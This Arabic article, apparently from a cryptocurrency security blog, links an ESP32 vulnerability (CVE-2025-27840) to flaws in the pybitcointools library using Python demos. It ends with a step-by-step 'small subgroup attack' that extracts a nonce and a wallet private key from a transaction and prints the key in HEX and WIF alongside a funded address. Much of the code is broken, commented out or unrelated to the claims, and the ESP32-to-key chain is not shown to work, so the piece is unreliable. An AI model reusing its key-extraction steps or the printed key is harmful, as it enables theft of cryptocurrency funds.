
تحليل تشفير البيتكوين: ثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32 تعرض مليارات أجهزة إنترنت الأشياء للخطر عبر Wi-Fi وBluetooth
تناقش هذه الورقة كيف يمكن للمهاجم إدخال قائمة مخفية من الثغرات الأمنية من خلال تحديثات الوحدات، مما قد يؤدي إلى اختراق أجهزة ESP32 والحصول على وصول غير مصرح به إلى المفاتيح الخاصة، مما يؤثر على مليارات الأجهزة التي تستخدم هذا المتحكم الدقيق. إحدى المشكلات الرئيسية هي ثغرة CVE-2025-27840 التي تم اكتشافها في بنية ESP32. لضمان أمان شبكة Bitcoin، حددنا الثغرات التالية، حيث احتمال استخدام مفاتيح خاصة غير صالحة بسبب عدم وجود فحص للحد الأدنى في الدالة has_invalid_privkey؛ ثغرة في تزوير توقيع المعاملات في الدالة electrum_sig_hashبسبب عدم التوافق مع BIP-137؛ مشكلة ضعف مولد الأرقام العشوائية (PRNG) في دالة توليد المفاتيح random_key، مما يجعل المفاتيح الخاصة الشخصية لمحافظ العملات الرقمية قابلة للتوقع؛ عدم التحقق من النقاط على منحنى ECC في الدالة multiply، مما قد يؤدي إلى هجمات المنحنى غير الصالح؛ ثغرة في الدالة ecdsa_raw_signعند استعادة الإحداثي Y، مما قد يؤدي إلى استبدال المفتاح العام؛ وثغرات متعلقة بواجهات برمجة التجزئة القديمة في bin_ripemd160.
في أوائل مارس 2025، حددت Tarlogic Security ثغرة أمنية في المتحكم الدقيق ESP32، الذي يُستخدم على نطاق واسع لتوصيل الأجهزة عبر WiFi و Bluetooth. تم تسجيل هذه الثغرة تحت الرقم CVE-2025-27840 . يمكن للمهاجمين الوصول غير المصرح به إلى بيانات محفظة Bitcoin باستخدام شريحة ESP32 كنقطة لهجمات التشفير على الأجهزة التي تعمل على شبكات العملات الرقمية الشهيرة مثل Bitcoin و Ethereum. تؤثر هذه المشكلة على ملايين أجهزة إنترنت الأشياء التي تستخدم هذا المتحكم الدقيق. سيسمح استغلال هذه الثغرة للمهاجمين بتنفيذ هجمات متنكرة في هيئة مستخدمين شرعيين وإصابة الأجهزة الضعيفة بشكل دائم. يهدد هذا أمان أجهزة إنترنت الأشياء القائمة على المتحكم الدقيق ESP32 ويمكن أن يؤدي إلى سرقة المفاتيح الخاصة لمحافظ Bitcoin.
ESP32 هو متحكم دقيق يُستخدم على نطاق واسع في أجهزة إنترنت الأشياء لتوفير اتصال Wi-Fi و Bluetooth. يمكن للمهاجمين استخدام طرق متنوعة للوصول إلى بيانات المفتاح الخاص لمحافظ Bitcoin عبر ESP32.
يمكن أن تؤدي التهديدات الأمنية المتعلقة بالمتحكم الدقيق ESP32 إلى سرقة المفاتيح الخاصة لمحافظ Bitcoin. تشمل المشكلات الرئيسية وجود الأبواب الخلفية والثغرات الأمنية. باستخدام هذه الثغرات، يمكنهم التلاعب بالذاكرة، وتزوير عناوين MAC، وحقن كود ضار، مما يخلق مخاطر أمنية خطيرة.
يمكن للمهاجمين مهاجمة أجهزة إنترنت الأشياء المزودة بمتحكم دقيق ESP32 باستخدام ثغرات في اتصالات Bluetooth و Wi-Fi، والتي يمكن أن تصبح أداة لمهاجمة أجهزة أخرى على الشبكة المتعلقة بـ Bitcoin، بالإضافة إلى سرقة المعلومات السرية، بما في ذلك المفاتيح الخاصة لمحافظ Bitcoin.
يمكن للمهاجم تحديث الوحدات وإدخال قائمة من الثغرات المختلفة في الكود، بما في ذلك:
has_invalid_privkeyيمكن استخدامها للحصول على المفتاح الخاص.electrum_sig_hashتسمح بتزوير توقيعات معاملات Bitcoin.random_keyمرتبطة بمولد أرقام عشوائي زائف ضعيف (PRNG غير حتمي).multiplyحيث لا يوجد فحص لنقطة على منحنى ECC.ecdsa_raw_sign و bin_ripemd160.يمكن استخدام هذه الثغرات لحقن تحديثات مزيفة في أجهزة ESP32، مما يمنح المهاجمين وصولاً منخفض المستوى إلى النظام. سيمكنهم هذا من تجاوز ضوابط تدقيق الكود والحصول على المفاتيح الخاصة. حالياً، قد تكون مليارات الأجهزة عرضة للخطر بسبب الميزات المخفية لمكون واحد في بنيتها، والذي يُشار إليه بـ CVE-2025-27840.
has_invalid_privkeyتم العثور على هذه الثغرة في كود التحقق من المفتاح الخاص لـ Bitcoin، مما يسمح باستخدام مفاتيح غير صالحة (أقل من أو تساوي 0) بسبب عدم وجود فحص للحد الأدنى. يمكن أن يؤدي هذا إلى فقدان الأموال. لإصلاح ذلك، يجب إضافة فحص للتأكد من أن المفتاح الخاص أكبر من 0. يتم تقديم الكود لأغراض التوضيح.
https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L305يسمح هذا الخلل باستخدام مفاتيح خاصة سيئة، مما قد يؤدي إلى مشاكل خطيرة، بما في ذلك فقدان المال.
لإصلاح ذلك، تحتاج إلى إضافة فحص للتأكد من أن المفتاح الخاص أكبر من 0.
تخيل أن شخصاً ما يحاول "اختراق" شبكة Bitcoin. يجدون نقطة ضعف في التحقق من المفاتيح الخاصة المستخدمة للوصول إلى العملة الرقمية.
المشكلة هي أن الكود يتحقق فقط مما إذا كان المفتاح الخاص كبيراً جداً. إذا كان المفتاح كبيراً جداً، يتم رفضه. لكن الكود ينسى التحقق مما إذا كان المفتاح صغيراً جداً (أقل من أو يساوي الصفر).
القسم من الكود حيث يحدث هذا:
...
...if privkey >= N: #التحقق من الحد الأعلى فقطالحد الأدنى لم يتم التحقق منه بشكل صحيح
raise Exception("Invalid privkey")
if privkey <= 0: #
return True
...
...
بسبب هذا الخلل، من الممكن استخدام مفاتيح خاصة غير صالحة (صغيرة جداً). تقع هذه الثغرة في الدالة has_invalid_privkey.
لكي يعمل كل هذا، تحتاج إلى تثبيت المكتبة ecdsa (هي مطلوبة للعمل مع التشفير):

نص Python secp256k1_privkey_validator.py
!pip install ecdsa
import ecdsa
def has_invalid_privkey(privkey: int) -> bool:
"""
تتحقق مما إذا كان المفتاح الخاص غير صالح، بناءً على عدم وجود فحص للحد الأدنى.
Args:
privkey: المفتاح الخاص المراد فحصه.
Returns:
True إذا كان المفتاح الخاص غير صالح (<= 0 أو >= N)، وإلا False.
"""
# ترتيب المنحنى الإهليلجي secp256k1 المستخدم من قبل Bitcoin
N = 0xFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEBAAEDCE6AF48A03BBFD25E8CD0364141
if privkey >= N: # التحقق من الحد الأعلى فقط
raise Exception("مفتاح خاص غير صالح")
if privkey <= 0: # فحص الحد الأدنى مفقود
return True
return False
# مثال على الاستخدام
privkey = 0 # مفتاح خاص غير صالح
is_invalid = has_invalid_privkey(privkey)
if is_invalid:
print("مفتاح خاص غير صالح!")
else:
print("مفتاح خاص صالح.")
شرح الكود:
ecdsa : على الرغم من أنها غير مستخدمة مباشرة في هذا المثال، إلا أنه في السيناريوهات الحقيقية التي تتضمن Bitcoin و ECDSA (خوارزمية التوقيع الرقمي بالمنحنى الإهليلجي)، قد تكون هذه المكتبة مطلوبة لإجراء عمليات التشفير.has_invalid_privkey(privkey: int) -> bool :
privkeyتأخذ مفتاحاً خاصاً كعدد صحيح كمدخل .Nيمثل ترتيب المنحنى الإهليلجي secp256k1 المستخدم في Bitcoin.privkeyأكبر من أو يساوي N. إذا كان الأمر كذلك، ترفع استثناءً يشير إلى أن المفتاح الخاص غير صالح.privkeyأقل من أو يساوي 0. إذا كان الأمر كذلك، تُرجع True، مما يشير إلى أن المفتاح الخاص غير صالح بسبب عدم وجود فحص للحد الأدنى.False.privkey = 0، وهو مفتاح خاص غير صالح.الثغرة :
يحتوي الكود على ثغرة تتعلق بعدم كفاية التحقق من المفتاح الخاص. أي أنه لا يوجد فحص للحد الأدنى (privkey <= 0). وهذا يسمح باستخدام مفاتيح خاصة غير صالحة، مما قد يؤدي إلى عواقب غير متوقعة، بما في ذلك فقدان الأموال.
كيفية الإصلاح :
يجب إضافة فحص للحد الأدنى للمفتاح الخاص للتأكد من أنه أكبر من 0.
electrum_sig_hashتستخدم الدالة electrum_sig_hash في Electrum طريقة غير قياسية لتجزئة الرسائل، مما يجعلها عرضة لهجمات تزوير التوقيع بسبب عدم توافقها مع BIP-137.
https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L425يمكن لمهاجم يستهدف شبكة Bitcoin اكتشاف طريقة تجزئة الرسائل غير القياسية التي يستخدمها Electrum عبر electrum_sig_hash. تنشئ هذه الدالة تجزئة للرسالة بطريقة يمكن أن تؤدي إلى هجمات تزوير التوقيع بسبب عدم توافقها مع BIP-137. يوضح نص Python المقدم كيف يمكن للمهاجم توليد تجزئة الرسالة المستخدمة من قبل Electrum لاستغلال ثغرة عدم التوافق مع BIP-137. تقوم الدالة electrum_sig_hash بإعداد الرسالة بإضافة بادئة وتشفير طولها قبل التجزئة المزدوجة باستخدام SHA256.
نص Python يوضح كيف يمكن للمهاجم العثور على تجزئة رسالة غير قياسية يستخدمها Electrum لتنفيذ هجمات تزوير التوقيع بسبب عدم التوافق مع BIP-137.

نص Python bitcoin_sign_hash.py
!pip install ecdsa
import hashlib
def num_to_var_int(i):
if i < 0xfd:
return i.to_bytes(1, 'little')
elif i <= 0xffff:
return b'\xfd' + i.to_bytes(2, 'little')
elif i <= 0xffffffff:
return b'\xfe' + i.to_bytes(4, 'little')
else:
return b'\xff' + i.to_bytes(8, 'little')
def from_string_to_bytes(s):
return s.encode('utf-8')
def bin_dbl_sha256(s):
hash1 = hashlib.sha256(s).digest()
hash2 = hashlib.sha256(hash1).digest()
return hash2
def electrum_sig_hash(message):
padded = b"\x18Bitcoin Signed Message:\n" + num_to_var_int(len(message)) + from_string_to_bytes(message)
return bin_dbl_sha256(padded)
# مثال على الاستخدام
message = "رسالة مثال للتوقيع"
message_hash = electrum_sig_hash(message)
print(f"تجزئة رسالة Electrum: {message_hash.hex()}")
في هذا النص:
num_to_var_int(i): يحول عدداً صحيحاً إلى تنسيق الطول المتغير المستخدم في Bitcoin.from_string_to_bytes(s): يشفر سلسلة نصية إلى بايتات باستخدام ترميز UTF-8.bin_dbl_sha256(s): يقوم بتجزئة SHA256 مزدوجة للمدخل.electrum_sig_hash(message): يحاكي الطريقة غير القياسية لـ Electrum في تجزئة الرسائل، والتي تخضع لعدم التوافق مع BIP-137.random_keyضعف مولد الأرقام العشوائية (PRNG) في توليد المفاتيح (PRNG غير حتمي)تنشأ المشكلة عندما يستخدم Bitcoin دالة random_key التي تعتمد على المعامل لإنشاء المفاتيح random. المعامل random ليس مخصصاً للأغراض التشفيرية لأنه لا يولد أرقاماً عشوائية كافية، مما يجعل المفاتيح الخاصة قابلة للتوقع من قبل المهاجمين. وهذا يترك شبكة Bitcoin عرضة للخطر.
https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L432نص Python يجعل شبكة البيتكوين عرضة للخطر باستخدام random بدلاً من secrets أو os.urandom، مما يجعل المفاتيح الخاصة قابلة للتنبؤ من قبل مهاجم البيتكوين:
نص Python privkey_generate.py
import random
import time
from hashlib import sha256
def random_string(length):
return ''.join(random.choice('0123456789abcdef') for i in range(length))
def random_key():
# يجب أن يكون آمنًا بعد فضيحة java.SecureRandom...
entropy = random_string(32) \
+ str(random.randrange(2**256)) \
+ str(int(time.time() * 1000000))
return sha256(entropy.encode('utf-8')).hexdigest()
# مثال استخدام: توليد مفتاح خاص
private_key = random_key()
print("المفتاح الخاص المُنشأ:", private_key)يستخدم هذا النص وحدة random لتوليد المفاتيح، مما يجعله عرضة للخطر. استخدام وحدة random غير مناسب للأغراض التشفيرية لأنه لا يُنتج أرقامًا عشوائية كافية.

لإنشاء مفتاح أكثر أمانًا، يمكنك استخدام وحدة secrets أو os.urandom. إليك مثال باستخدام وحدة secrets:
import secrets
import hashlib
def secure_random_key():
# توليد رقم عشوائي مع إنتروبيا كافية
random_bytes = secrets.token_bytes(32) # 32 بايت = 256 بت
# تجزئة البايتات العشوائية لإنشاء مفتاح خاص
private_key = hashlib.sha256(random_bytes).hexdigest()
return private_key
# مثال استخدام: توليد مفتاح خاص آمن
secure_private_key = secure_random_key()
print("المفتاح الخاص الآمن المُنشأ:", secure_private_key)في هذا المثال، تُستخدم وحدة secrets لتوليد رقم عشوائي بإنتروبيا كافية. ثم يُجَزَّأ الرقم العشوائي لإنشاء مفتاح خاص شخصي. هذه الطريقة أكثر أمانًا بكثير من استخدام وحدة random.
ثغرة في دالة ecdsa_raw_sign عند استعادة الإحداثي Y يمكن أن تؤدي إلى استبدال المفتاح العام في شبكة البيتكوين. هناك خطر كبير من أن يستغل المهاجم خصوصية استعادة الإحداثي Y عند العمل مع منحنى إهليلجي. هذا الغموض يمكن أن يؤدي إلى استعادة المفتاح العام بشكل غير صحيح.
https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L543مثال الكود، المقدم باستخدام مكتبة pycryptodome، يوضح كيف يمكن محاكاة هذه الحالة عن طريق استبدال الإحداثي Y للحصول على مفتاح عام مختلف وغير صالح. من المهم ملاحظة أن مثال الكود مبسط وليس تطبيقًا كاملاً للهجوم، ولكنه يظهر فقط مبدأه.
يمكن للمهاجم استغلال غموض استعادة الإحداثي Y في شبكة البيتكوين، مما قد يؤدي إلى أخطاء في استعادة المفتاح العام. إليك مثال على كيفية القيام بذلك باستخدام عملية XOR بت.

نص Python weak_key_recovery.py
!pip install pycryptodome
from hashlib import sha256
from Crypto.PublicKey import ECC
from Crypto.Signature import DSS
from Crypto.Hash import SHA256
import secrets
# معلمات المنحنى الإهليلجي secp256k1
# لا توفر PyCryptodome طريقة ملائمة لتحديد معلمات منحنى secp256k1 مباشرة.
# لذلك، سنستخدم منحنى ECC القياسي.
# بالنسبة للكود الإنتاجي، كن حذرًا عند اختيار المنحنى ومعلماته.
def hash_to_int(msghash):
return int(sha256(msghash.encode('utf-8')).hexdigest(), 16)
def deterministic_generate_k(msghash, priv_key_int):
k = 0
while k == 0:
v = b'\x01' * 32
k = b'\x00' * 32
k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
k = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
v = sha256(v + k + priv_key_int.to_bytes(32, 'big') + msghash.encode('utf-8')).digest()
k = int.from_bytes(sha256(v + k).digest(), 'big') # % N # إزالة % N، لأن N لم يعد ثابتًا معرفًا
return k
def ecdsa_raw_sign(msghash, priv_key_int):
z = hash_to_int(msghash)
k = deterministic_generate_k(msghash, priv_key_int)
# توليد كائن المفتاح الخاص
key = ECC.construct(curve='P-256', d=priv_key_int)
# حساب النقطة R = kG
# لا توفر PyCryptodome وصولاً مباشرًا إلى إحداثيات النقطة R
# لذلك، سيتم حساب التوقيع بطريقة مختلفة باستخدام DSS
# s = pow(k, -1, N) * (z + r * private_key_int) % N # N لم يعد معرفًا
# v = 27 + ((y % 2) ^ (0 if s * 2 < N else 1)) # y غير متاح
return key, z, k # إرجاع المفتاح والتجزئة و k للاستخدام اللاحق في التوقيع
def recover_pubkey(msghash, signature, key):
# تحذير: هذا مثال مبسط جدًا لاستعادة المفتاح العام.
# في الواقع، استعادة المفتاح العام لـ ECDSA هي عملية معقدة.
# هذا الكود مخصص فقط لعرض المبدأ.
# لا تحتوي PyCryptodome على طريقة بسيطة لاستعادة PublicKey من r و s مباشرة.
# هذا الكود لا يقوم باستعادة حقيقية، بل ينشئ PublicKey جديدًا من المفتاح الخاص.
# في سيناريو هجوم حقيقي، تحتاج إلى محاولة تخمين الإحداثي y للحصول على PublicKey صالح.
# لكن هذا يتطلب منطقًا أكثر تعقيدًا للعمل مع المنحنى الإهليلجي.
return key.public_key()
def emulate_attack(msghash, priv):
# 1. توقيع الرسالة
priv_key_int = int(priv, 16)
key, z, k = ecdsa_raw_sign(msghash, priv_key_int) signer = DSS.new(key, 'fips-186-3') hash_obj = SHA256.new(msghash.encode('utf-8')) signature = signer.sign(hash_obj) # 2. محاولة استعادة المفتاح العام (بشكل غير صحيح) Q = recover_pubkey(msghash, signature, key) # 3. محاكاة حالة يتم فيها استعادة الإحداثي Y بشكل غير صحيح # في سيناريو هجوم حقيقي، سيحاول المهاجم التكرار عبر إحداثيات y مختلفة. # في هذا المثال، نغير الإحداثي x قليلاً tampered_key = ECC.construct(curve='P-256', d=priv_key_int + 1) # مثال! لا تفعل هذا في الكود الحقيقي! Q_tampered = tampered_key.public_key() return Q, Q_tampered # مثال استخدام msghash = "مثال رسالة" # توليد مفتاح خاص عشوائي private_key = ECC.generate(curve='P-256') priv = hex(private_key.d) # تخزين المفتاح الخاص كسلسلة سداسية عشرية # مثال استخدام Q, Q_tampered = emulate_attack(msghash, priv) print("المفتاح العام الأصلي:", Q) print("المفتاح العام المعدل:", Q_tampered) print("هل المفاتيح متساوية؟", Q == Q_tampered)
يوضح هذا النص كيف يمكن تغيير الإحداثي Y لإنتاج مفتاح عام غير صالح.
يرجى ملاحظة أن هذا مجرد مثال، وقد يكون الهجوم الحقيقي أكثر تعقيدًا.
بالإضافة إلى النص أعلاه، إليك بعض النقاط الإضافية التي يجب مراعاتها:
واجهات برمجة التطبيقات القديمة للتجزئة على شبكة البيتكوين، خاصة في غياب RIPEMD-160، يمكن أن تكون عرضة للخطر. يمكن للمهاجمين تحديد وتطبيقات التجزئة الضعيفة واستغلالها، مما يبرز أهمية استخدام مكتبات تشفير حديثة وتحديثات أمان منتظمة.
https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L378يمكن لمهاجم على شبكة البيتكوين العثور على ثغرة في واجهة برمجة التطبيقات القديمة للتجزئة، خاصة إذا كانت بعض الأنظمة تفتقر إلى تنفيذ RIPEMD-160. المشكلة تكمن في دالة bin_ripemd160 التي تحاول استخدام hashlib للتجزئة، ولكن إذا فشل ذلك، فإنها تتحول إلى تنفيذها الخاص الأضعف محتملاً.
يوضح نص Python المقدم كيف يمكن للمهاجم اختبار عقدة بيتكوين لوجود مثل هذا التنفيذ الضعيف لواجهة API. إذا كانت hashlib لا تدعم RIPEMD-160، يتم استخدام تنفيذ مبسط، مما قد يؤدي إلى تصادمات تجزئة وثغرات أخرى. يحاكي النص الهجوم عن طريق تجزئة البيانات وطباعة تحذير إذا تم استخدام تنفيذ ضعيف.
تشمل المخاطر إمكانية تزوير المعاملات واستغلال الثغرات المعروفة في واجهات API القديمة. للحماية، يوصى باستخدام مكتبات تشفير حديثة ومختبرة، وتحديث برامج البيتكوين بانتظام، والتحقق من مخرجات العمليات التشفيرية.

نص Python يجد فيه مهاجم البيتكوين واجهة برمجة تطبيقات قديمة للتجزئة ويناقش خطر عدم تنفيذ RIPEMD-160 في بعض البيئات:
نص Python ripemd160_vulnerability.py
RIPEMD160 تحاكي تنفيذ RIPEMD160. في الواقع، يجب أن تنفذ خوارزمية التجزئة RIPEMD160. لأغراض العرض، ترجع تجزئة وهمية.bin_ripemd160(string):
check_for_weak_api(data):
bin_ripemd160 لتجزئة البيانات.if __name__ == "__main__":، تحدد بيانات نموذجية وتستدعي check_for_weak_api بهذه البيانات.hashlib القياسية لتجزئة RIPEMD160. إذا فشل ذلك (لأن hashlib في البيئة المحددة لا يدعم RIPEMD160)، فإنه يعود إلى تطبيق مخصص (وهو في هذا المثال نسخة مبسطة).multiply عدم التحقق من نقطة على منحنى ECCيوجد في شبكة بيتكوين ثغرة محتملة في الدالة multiply بسبب عدم كفاية التحقق من النقاط على منحنى ECC. قد يسمح هذا للمهاجم بتنفيذ هجمات المنحنى غير الصحيح، على الرغم من أن المكتبات التشفيرية الحديثة مثل pycryptodome تجعل هذا الاستغلال صعبًا. الهجوم ممكن من خلال التلاعب بمنحنى جاكوبي ، مما قد يؤدي إلى تزوير التوقيعات والتلاعب بالشبكة.
https://github.com/primal100/pybitcointools/blob/e7c96bfe1f4be08a9f3c540e598a73dc20ca2462/cryptos/main.py#L275في شبكة بيتكوين، يمكن للمهاجم العثور على ثغرة في الدالة multiply التي تفتقر إلى فحص كامل بأن النقطة تقع على منحنى إهليلجي (ECC). في الكود، يتم الفحص فقط للنقاط غير الصفرية، مما يفتح إمكانية هجمات المنحنيات غير الصحيحة (invalid curve attacks).
يوضح نموذج كود المهاجم كيف يمكن استغلال هذه الثغرة. يظهر دالة multiply تفتقر إلى فحص موثوق لنقطة على منحنى، ودالة invalid_curve_attack تحاول استغلال هذا الضعف. يستخدم الكود أيضًا مكتبات pycryptodome للعمليات التشفيرية.
تجعل pycryptodome من الصعب تنفيذ مثل هذه الهجمات مباشرة بسبب آليات الأمان المضمنة. يوضح الكود كيف يمكن إنشاء منحنى "غير صحيح" ومحاولة تنفيذ عملية ضرب، ولكن يتم التأكيد على أن هذا غير آمن ويتطلب فهمًا عميقًا للتشفير.
من خلال استغلال ثغرة في الدالة
multiply، يمكن للمهاجم تنفيذ هجوم المنحنى غير الصحيح لاختراق المفاتيح الخاصة على شبكة بيتكوين. فيما يلي نموذج سكريبت بايثون يوضح هذا الهجوم.

سكريبت بايثون ecdsa_curve_attack.py
!pip install pycryptodome
from Crypto.Hash import SHA256
from Crypto.Signature import DSS
from Crypto.PublicKey import ECC
from Crypto.Math import *
class Exploit:
def __init__(self):
self.msg = "ATTACK!"
self.hash = hash_msg(self.msg)
def sign_message(self, private_key):
signer = DSS.new(private_key, 'fips-186-3')
signature = signer.sign(self.hash)
return signature
def verify_signature(self, public_key, signature):
verifier = DSS.new(public_key, 'fips-186-3')
try:
verifier.verify(self.hash, signature)
return True
except ValueError:
return False
def hash_msg(msg):
hasher = SHA256.new(msg.encode('utf-8'))
return hasher.digest()
# Elliptic curve parameters (example, must be replaced with the parameters of the curve being used)
# WARNING: IN REAL CODE, YOU MUST USE SECURE CURVES AND THEIR PARAMETERS!
# EXAMPLE FOR DEMONSTRATION, DO NOT USE IN PRODUCTION!
curve = 'secp256r1' # Or another curve
# Vulnerable function (EXAMPLE! PyCryptodome HAS NO DIRECT EQUIVALENT to fast_multiply)
# This function is here to demonstrate the vulnerability, but requires adaptation to specific needs and cryptographic primitives.
def multiply(pubkey, privkey):
# WARNING: THIS IS A VERY SIMPLIFIED EXAMPLE, NOT SAFE!
# IN REAL CODE, YOU NEED TO USE CRYPTOGRAPHICALLY SECURE METHODS!
# Checking if the point is on the curve. In PyCryptodome, this is done automatically.
#Performing multiplication
result = privkey.d * pubkey.pointQ
return result
# Example of invalid curve attack (adapted for pycryptodome)
def invalid_curve_attack(public_key, malformed_curve_parameters):
# Creating a "wrong" curve (example!)
#malformed_curve = ECC.CurveObj(malformed_curve_parameters['name'],
# malformed_curve_parameters['oid'],
# malformed_curve_parameters['field'],
# malformed_curve_parameters['a'],
# malformed_curve_parameters['b'],
# malformed_curve_parameters['generator'],
# malformed_curve_parameters['order'])
# Creating a public key on the "wrong" curve (example!)
#attacker_key = ECC.EccPoint(malformed_curve_parameters['generator'].x, malformed_curve_parameters['generator'].y, malformed_curve)
# Creating a fake private key (example!) #attacker_private_key = ECC.construct(curve=malformed_curve, pointQ=attacker_key) # WARNING: In PyCryptodome, it is more difficult to directly manipulate curves and points # to demonstrate invalid curve attack. This code is left commented out, # because correct operation requires a deep understanding of ECC and unsafe operations. # It is recommended to use standard curves and avoid creating your own. # Performing multiplication using the vulnerable function (EXAMPLE! NOT SAFE!) # result = multiply(attacker_key, attacker_private_key) # return result return None # Returning None to avoid an error # Example of "wrong" curve parameters (NEVER USE IN PRODUCTION!) # This is just an example showing the data structure. Real parameters should be carefully selected. # These parameters are commented out to avoid an error when creating EccPoint with curve=None malformed_curve_parameters = { #'name': "MalformedCurve", #'oid': "1.2.3.4", #'field': 17, #'a': 2, #'b': 3, #'generator': ECC.EccPoint(5, 1), # Removed None because it causes an error #'order': 19 } # Creating a private key (for example) private_key = ECC.generate(curve=curve) public_key = private_key.public_key() # Example of using invalid curve attack attack_result = invalid_curve_attack(public_key, malformed_curve_parameters) print(attack_result)
شرح الكود:
multiply تتحقق من أن النقطة على منحنى ECC فقط إذا لم تكن نقطة اللانهاية. هذا يسمح باستخدام نقاط ليست على المنحنى الرئيسي، ولكنها على منحنى التواء (twist curve).invalid_curve_attack: تأخذ هذه الدالة مفتاحًا عامًا ومعايير منحنى مشوه. تقوم بإنشاء نقطة على المنحنى المشوه وتستخدم الدالة الضعيفة multiply لتنفيذ عملية الضرب.كيف يعمل هجوم المجموعة الفرعية الصغيرة (Small Subgroup Attack):
Q منخفضة الرتبة على المنحنى أو على تواء المنحنى.Q للضحية، متظاهرًا بأنها مفتاحه العام.nQ، حيث n هو المفتاح السري للضحية.Q له رتبة صغيرة، فهناك عدد صغير من القيم المحتملة لـ nQ . يمكن للمهاجم تجربة جميع هذه القيم بالقوة العمياء والتحقق من أي منها يتوافق مع البيانات المشفرة عن طريق توسيع n بمعامل ترتيب Q.التوصيات:

فك تشفير معاملة RawTX الضعيفة باستخدام دالة خدمة SMALL SUBGROUP ATTACK

النتيجة هي قيمة K للمفتاح السري Nonce بتنسيق HEX
K = 6bd261bd25ac54807552dfeec6454d6719ec8a05cb11ad5171e1ad68abb0acb2للحصول على جميع القيم الأخرى من معاملة RawTX الضعيفة، سنستخدم خدمة فك تشفير التوقيع RSZ Signature Decoder.

قيم النتائج لـ R, S, Z بتنسيق HEX
R = 5013dbed340fed00b6cb9778a713e1456b8138d00c3bcf6e7ff117be723335d0
S = 5018ddd352a6bc61b86afee5001a3e25d26a328a833c8f3812a15465f542c1c9
Z = 396ebf23dbcccce2a389ccb26198e25118bf7f72c38d2a4ab8d9e4648f2385f8للحصول على قيمة X للمفتاح الخاص من الصيغة: priv_key = ((((S * K) - Z) * modinv(R, N)) % N) سنستخدم برنامج Dockeyhunt Private Key Calculator

ونتيجة لذلك، نحصل على المفتاح الخاص X بتنسيق HEX
X = 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34دعونا نطلق BitcoinChatGPT
%run BitcoinChatGPTتطبيق وظيفة هجوم المجموعة الفرعية الصغيرة (SMALL SUBGROUP ATTACK) لاستخراج المفتاح الخاص من معاملة RawTX الضعيفة في عملة البيتكوين

أخيرًا، يقوم وحدة BitcoinChatGPT بإخراج الرد إلى الملف: KEYFOUND.privkey الذي يخزن المفتاح الخاص في أكثر تنسيقين استخدامًا HEX & WIF
https://github.com/demining/CryptoDeepTools/blob/main/39BluetoothAttacks/KEYFOUND.privkey
============================= KEYFOUND.privkey =============================
Private Key HEX: 0x12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
Private Key WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ
Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
Balance: 10.00000000 BTC
============================= KEYFOUND.privkey =============================لتنفيذ الكود، سنقوم بتثبيت حزمة Bitcoin. تسمح هذه المكتبة بإنشاء المحافظ، والتفاعل مع سلسلة الكتل، وإنشاء المعاملات وتوقيعها، والعمل مع تنسيقات مختلفة للعناوين والمفاتيح الخاصة لعملة البيتكوين.
!pip3 install bitcoinدعونا نشتغل الكود للتحقق من تطابق عنوان البيتكوين:

__________________________________________________
Private Key WIF: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
Bitcoin Address: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
total_received = 10.00000000 Bitcoin
__________________________________________________هذا صحيح! المفتاح الخاص يتوافق مع محفظة البيتكوين.
ADDR: 1GSrCrtjZ6nk3Yn2wuY2qyXo8qPLGgAMqQ
WIF: 5HxaSsQFK9TDeNfTnNyXAzHXZe3hq3UzZ977GzdjSwEVVeEcDmZ
HEX: 12d3428123e4262d6890e0ef149ce3c1335229b3f44ed6026bdec2921e796d34
في البيئة الرقمية الحالية، يعد تأمين الأجهزة والشبكات أمرًا بالغ الأهمية. تحلل هذه الورقة عددًا من الثغرات الموجودة في مكونات مختلفة، بما في ذلك أجهزة ESP32 والبرامج المستخدمة في العمل مع العملات الرقمية مثل البيتكوين. ندرس العيوب في كود التحقق من المفتاح الخاص، وطرق تجزئة المعاملات، وتوليد المفاتيح العشوائية، والتحقق من نقاط منحنى ECC، واستعادة إحداثي Y، وواجهات برمجة التطبيقات القديمة للتجزئة. يتم إيلاء اهتمام خاص لثغرة CVE-2025-27840 في المتحكمات الدقيقة ESP32، والتي تسمح للمهاجمين بحقن تحديثات مزيفة والحصول على وصول منخفض المستوى إلى النظام. تتم مناقشة الآثار المحتملة لهذه الثغرات، بما في ذلك القدرة على تجاوز ضوابط مراجعة الكود، والحصول على المفاتيح الخاصة، وتنفيذ هجمات سلسلة التوريد. تختتم الورقة بتوصيات لتعزيز الأمان ومنع الهجمات المحتملة.
قد تكون مليارات الأجهزة الآن عرضة لعيوب تصميمية خفية في مكون واحد، تم تحديدها باسم CVE-2025-27840. قد تسمح الثغرات للمهاجمين بانتحال عناوين MAC، والحصول على وصول غير مصرح به إلى ذاكرة الجهاز، وتنفيذ هجمات عبر البلوتوث.
